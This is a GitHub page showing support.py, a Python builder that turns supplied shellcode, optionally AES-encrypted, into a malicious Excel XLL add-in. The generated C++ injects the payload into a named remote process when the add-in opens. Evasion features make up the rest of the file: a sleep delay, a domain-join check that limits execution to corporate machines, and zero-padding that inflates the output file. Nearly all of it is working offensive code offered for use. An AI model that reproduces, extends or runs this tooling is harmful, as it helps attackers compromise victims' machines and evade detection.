-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathsupport.py
More file actions
681 lines (533 loc) · 20.7 KB
/
support.py
File metadata and controls
681 lines (533 loc) · 20.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
import subprocess
import shutil
import struct
# Decryption code templates for different encryption types
decryption_code_templates = {
'aes': """
{headers}
{sleep_function}
{sandbox_function}
int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {{
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {{
return -1;
}}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {{
return -1;
}}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {{
return -1;
}}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {{
return -1;
}}
if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) {{
return -1;
}}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}}
BOOL GetRemoteProcessHandle(LPCWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {{
PROCESSENTRY32 Proc = {{ sizeof(PROCESSENTRY32) }};
HANDLE hSnapShot = NULL;
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == INVALID_HANDLE_VALUE) {{
std::cout << "[!] CreateToolhelp32Snapshot Failed With Error : " << GetLastError() << std::endl;
goto _EndOfFunction;
}}
if (!Process32First(hSnapShot, &Proc)) {{
std::cout << "[!] Process32First Failed With Error : " << GetLastError() << std::endl;
goto _EndOfFunction;
}}
do {{
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {{
DWORD dwSize = strlen(Proc.szExeFile);
DWORD i = 0;
RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
if (dwSize < MAX_PATH * 2) {{
for (; i < dwSize; i++)
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
LowerName[i++] = L'\\0';
}}
}}
if (wcscmp(LowerName, szProcessName) == 0) {{
*dwProcessId = Proc.th32ProcessID;
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
std::cout << "[!] OpenProcess Failed With Error : " << GetLastError() << std::endl;
break;
}}
}} while (Process32Next(hSnapShot, &Proc));
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
}}
BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {{
PVOID pShellcodeAddress = nullptr;
SIZE_T sNumberOfBytesWritten = 0;
DWORD dwOldProtection = 0;
pShellcodeAddress = VirtualAllocEx(hProcess, nullptr, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == nullptr) {{
std::cout << "[!] VirtualAllocEx Failed With Error : " << GetLastError() << std::endl;
return FALSE;
}}
std::cout << "[i] Allocated Memory At : 0x" << pShellcodeAddress << std::endl;
std::cout << "[#] Press <Enter> To Write Payload ... ";
getchar();
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {{
std::cout << "[!] WriteProcessMemory Failed With Error : " << GetLastError() << std::endl;
return FALSE;
}}
std::cout << "[i] Successfully Written " << sNumberOfBytesWritten << " Bytes" << std::endl;
if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {{
std::cout << "[!] VirtualProtectEx Failed With Error : " << GetLastError() << std::endl;
return FALSE;
}}
std::cout << "[i] Executing Payload ... ";
if (CreateRemoteThread(hProcess, nullptr, 0, LPTHREAD_START_ROUTINE(pShellcodeAddress), nullptr, 0, nullptr) == nullptr) {{
std::cout << "[!] CreateRemoteThread Failed With Error : " << GetLastError() << std::endl;
return FALSE;
}}
std::cout << "[+] DONE !" << std::endl;
return TRUE;
}}
DWORD WINAPI ExecuteShellcode(LPVOID lpParam) {{
unsigned char Shellcode[] = {{
{encrypted_data}
}};
unsigned char key[16] = {{
{key}
}};
DWORD processId;
HANDLE processHandle;
LPCWSTR processNameToFind = L"{process}.exe";
GetRemoteProcessHandle(processNameToFind, &processId, &processHandle);
unsigned int payload_len = sizeof(Shellcode);
AESDecrypt((char*)Shellcode, payload_len, (char*)key, sizeof(key));
BOOL success = InjectShellcodeToRemoteProcess(processHandle, Shellcode, payload_len);
if (success) {{
return 1;
}}
else {{
MessageBoxW(nullptr, L"Failed to inject shellcode.", L"Error", MB_ICONERROR);
return 0;
}}
}}
{xlAutoOpen_code}
{dllmain_function}
""",
'none': """
{headers}
{sleep_function}
{sandbox_function}
BOOL GetRemoteProcessHandle(LPCWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {{
PROCESSENTRY32 Proc = {{ sizeof(PROCESSENTRY32) }};
HANDLE hSnapShot = NULL;
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == INVALID_HANDLE_VALUE) {{
std::cout << "[!] CreateToolhelp32Snapshot Failed With Error : " << GetLastError() << std::endl;
goto _EndOfFunction;
}}
if (!Process32First(hSnapShot, &Proc)) {{
std::cout << "[!] Process32First Failed With Error : " << GetLastError() << std::endl;
goto _EndOfFunction;
}}
do {{
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {{
DWORD dwSize = strlen(Proc.szExeFile);
DWORD i = 0;
RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
if (dwSize < MAX_PATH * 2) {{
for (; i < dwSize; i++)
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
LowerName[i++] = L'\\0';
}}
}}
if (wcscmp(LowerName, szProcessName) == 0) {{
*dwProcessId = Proc.th32ProcessID;
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
std::cout << "[!] OpenProcess Failed With Error : " << GetLastError() << std::endl;
break;
}}
}} while (Process32Next(hSnapShot, &Proc));
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
}}
BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {{
PVOID pShellcodeAddress = nullptr;
SIZE_T sNumberOfBytesWritten = 0;
DWORD dwOldProtection = 0;
pShellcodeAddress = VirtualAllocEx(hProcess, nullptr, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == nullptr) {{
std::cout << "[!] VirtualAllocEx Failed With Error : " << GetLastError() << std::endl;
return FALSE;
}}
std::cout << "[i] Allocated Memory At : 0x" << pShellcodeAddress << std::endl;
std::cout << "[#] Press <Enter> To Write Payload ... ";
getchar();
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {{
std::cout << "[!] WriteProcessMemory Failed With Error : " << GetLastError() << std::endl;
return FALSE;
}}
std::cout << "[i] Successfully Written " << sNumberOfBytesWritten << " Bytes" << std::endl;
if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {{
std::cout << "[!] VirtualProtectEx Failed With Error : " << GetLastError() << std::endl;
return FALSE;
}}
std::cout << "[i] Executing Payload ... ";
if (CreateRemoteThread(hProcess, nullptr, 0, LPTHREAD_START_ROUTINE(pShellcodeAddress), nullptr, 0, nullptr) == nullptr) {{
std::cout << "[!] CreateRemoteThread Failed With Error : " << GetLastError() << std::endl;
return FALSE;
}}
std::cout << "[+] DONE !" << std::endl;
return TRUE;
}}
DWORD WINAPI ExecuteShellcode(LPVOID lpParam) {{
unsigned char Shellcode[] = {{
{encrypted_data}
}};
DWORD processId;
HANDLE processHandle;
LPCWSTR processNameToFind = L"{process}.exe";
GetRemoteProcessHandle(processNameToFind, &processId, &processHandle);
unsigned int payload_len = sizeof(Shellcode);
BOOL success = InjectShellcodeToRemoteProcess(processHandle, Shellcode, payload_len);
if (success) {{
return 1;
}}
else {{
MessageBoxW(nullptr, L"Failed to inject shellcode.", L"Error", MB_ICONERROR);
return 0;
}}
}}
{xlAutoOpen_code}
{dllmain_function}
"""
}
# Sleep function
sleep_function = """
BOOL msgo(FLOAT ftMinutes) {{
DWORD dwMilliSeconds = ftMinutes * 60000;
DWORD startTick = GetTickCount();
DWORD endTick = startTick + dwMilliSeconds;
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
do {{
DWORD currentTick = GetTickCount();
if (currentTick >= endTick) {{
break;
}}
DWORD remainingTick = endTick - currentTick;
MsgWaitForMultipleObjectsEx(1, &hEvent, remainingTick, QS_ALLINPUT, MWMO_ALERTABLE);
}} while (true);
CloseHandle(hEvent);
return TRUE;
}}
"""
# DllMain function
dllmain_function = """
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved) {{
switch (ul_reason_for_call) {{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}}
return TRUE;
}}
"""
# framework.h function
header_framework = """
#pragma once
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
"""
# pch.h function
header_pch = """
#ifndef PCH_H
#define PCH_H
#include "framework.h"
#endif
"""
# pch.cpp
cpp_pch = """
#include "pch.h"
"""
# struct.h function (indirect calls)
header_struct = """
#pragma once
#include <Windows.h>
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef LPVOID(WINAPI* VirtualAlloc_t)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect);
typedef VOID(WINAPI* RtlMoveMemory_t)(
VOID UNALIGNED* Destination,
const VOID UNALIGNED* Source,
SIZE_T Length);
typedef FARPROC(WINAPI* RtlCreateUserThread_t)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientId);
typedef NTSTATUS(NTAPI* NtCreateThreadEx_t)(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer);
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
_Field_size_bytes_part_(MaximumLength, Length) PWCH Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef NTSTATUS(NTAPI* NtCreateSection_t)(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL);
typedef NTSTATUS(NTAPI* NtMapViewOfSection_t)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect);
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT, * PSECTION_INHERIT;
"""
# Sandbox function
sandbox_function = """
BOOL IsDomainJoined() {{
LPWSTR lpNameBuffer = NULL;
NETSETUP_JOIN_STATUS BufferType;
NET_API_STATUS nStatus;
nStatus = NetGetJoinInformation(NULL, &lpNameBuffer, &BufferType);
if (lpNameBuffer != NULL) {{
NetApiBufferFree(lpNameBuffer);
}}
if (nStatus == NERR_Success) {{
return (BufferType == NetSetupDomainName);
}}
else {{
return FALSE;
}}
}}
"""
# Headers
headers = """
#include "pch.h"
#include <windows.h>
#include <lm.h>
#include<iostream>
#include <tlhelp32.h>
#include <string>
#include <algorithm>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment(lib, "netapi32.lib")
"""
def generate_xlAutoOpen_code(sleep_enabled, sandbox_enabled):
code = """
extern "C" __declspec(dllexport) int __stdcall xlAutoOpen() {
"""
if sleep_enabled:
code += " msgo(0.1); \n"
if sandbox_enabled:
code += """
if (!IsDomainJoined()) {
MessageBoxW(NULL, L"The machine is not domain joined. Sorry, we can't run your payload :(", L"Warning", MB_OK | MB_ICONWARNING);
return 1;
}
"""
code += """
HANDLE hThread = CreateThread(nullptr, 0, ExecuteShellcode, nullptr, 0, nullptr);
if (hThread == nullptr) {
return -1;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 1;
}
"""
return code
def AESencrypt(plaintext, key):
k = hashlib.sha256(key).digest() # Use the 'key' argument instead of 'KEY'
iv = 16 * b'\x00'
plaintext = pad(plaintext, AES.block_size)
cipher = AES.new(k, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(plaintext)
return ciphertext, key
def generate_decryption_code(output_cpp_file, encryption_type, key, encrypted_data, headers, sleep_function, dllmain_function, sandbox_function, sleep_enabled, sandbox_enabled, process_name):
with open(output_cpp_file, 'w') as cpp_file:
if encryption_type in decryption_code_templates:
xlAutoOpen_code = generate_xlAutoOpen_code(sleep_enabled, sandbox_enabled)
cpp_file.write(
decryption_code_templates[encryption_type].format(
headers=headers,
sleep_function=sleep_function,
key=key,
encrypted_data=encrypted_data,
xlAutoOpen_code=xlAutoOpen_code,
dllmain_function=dllmain_function,
sandbox_function=sandbox_function,
process=process_name # Pass the provided process name
)
)
else:
raise ValueError("Invalid encryption type. Choose 'aes' or 'none'.")
def generate_more_code(output_dir):
# Create the 'temp' directory if it doesn't exist
if not os.path.exists(output_dir):
os.makedirs(output_dir)
# Define the templates
templates = {
'framework.h': header_framework,
'pch.h': header_pch,
'pch.cpp': cpp_pch,
'struct.h': header_struct,
}
# Write each template to its respective file
for file_name, template_content in templates.items():
file_path = os.path.join(output_dir, file_name)
with open(file_path, 'w') as file:
file.write(template_content)
print(f"Templates written to '{output_dir}'")
def generate_c_code(input_file_path, encryption_type, key, sleep_enabled, sandbox_enabled, process):
try:
with open(input_file_path, 'rb') as binary_file:
binary_data = binary_file.read()
if not encryption_type:
# Default to 'none' encryption if encryption type is not specified
encryption_type = 'none'
if encryption_type.lower() == 'aes':
# Use the new AESencrypt function for encryption
encrypted_data, key = AESencrypt(binary_data, key)
# Format the key as a comma-separated list of bytes in hexadecimal format
key_str = ', '.join([f"0x{byte:02X}" for byte in key])
# Format the encrypted data as a C-style array of hexadecimal values
encrypted_data_str = ', '.join([f"0x{byte:02X}" for byte in encrypted_data])
# Generate decryption code with sleep and sandbox options
output_cpp_file = 'temp/main.cpp' # Save 'main.cpp' in the 'temp' folder
generate_decryption_code(
output_cpp_file, encryption_type, key_str, encrypted_data_str,
headers, sleep_function if sleep_enabled else "",
dllmain_function, sandbox_function if sandbox_enabled else "",
sleep_enabled, sandbox_enabled, process
)
print(f"Successfully encrypted '{input_file_path}' and saved decryption code to '{output_cpp_file}'")
print(f"Decryption key: {key.hex()}")
elif encryption_type.lower() == 'none':
# Convert binary data to a comma-separated list of bytes in hexadecimal format
unencrypted_data_str = ', '.join([f"0x{byte:02X}" for byte in binary_data])
# Use the 'none' template and provide the 'unencrypted_data' argument
output_cpp_file = 'temp/main.cpp' # Save 'main.cpp' in the 'temp' folder
generate_decryption_code(
output_cpp_file, encryption_type, "", unencrypted_data_str,
headers, sleep_function if sleep_enabled else "",
dllmain_function, sandbox_function if sandbox_enabled else "",
sleep_enabled, sandbox_enabled, process
)
print(f"Successfully wrote unencrypted data to '{output_cpp_file}'")
else:
raise ValueError("Invalid encryption type. Choose 'aes' or 'none'.")
print(f"Generated code saved to '{output_cpp_file}'")
except Exception as e:
print(f"Error: {e}")
def compile_cpp_to_xll(output_xll):
try:
# Append '.dll' file extension if it's missing
if not output_xll.endswith(".dll"):
output_xll += ".dll"
# Check if the XLL file already exists and remove it
output_xll_renamed = os.path.splitext(output_xll)[0] + ".xll"
if os.path.exists(output_xll_renamed):
os.remove(output_xll_renamed)
compile_command = [
'g++',
'-shared',
'-o', output_xll,
'temp/framework.h',
'temp/pch.h',
'temp/struct.h',
'temp/pch.cpp',
'temp/main.cpp'
]
subprocess.check_call(compile_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# Rename the output DLL to XLL
os.rename(output_xll, output_xll_renamed)
print(f"Successfully compiled to '{output_xll_renamed}'")
except subprocess.CalledProcessError as e:
print(f"Error: Compilation failed. {e}")
except Exception as e:
print(f"Error: {e}")
def cleanup():
try:
# Remove the 'temp' folder and its contents
shutil.rmtree('temp')
print("Cleanup: 'temp' folder and its contents removed successfully.")
except Exception as e:
print(f"Cleanup failed: {e}")
def inflate(output_xll_file, size):
file = output_xll_file + ".xll"
print("[!]\tInflating %s by %s MB" % (file, size))
blank_bytes = struct.pack('B', 0)
transformer = open(file, 'ab')
transformer.write(blank_bytes * 1024 * 1024 * size)
transformer.close()
print("[!]\tOperation Complete...\n")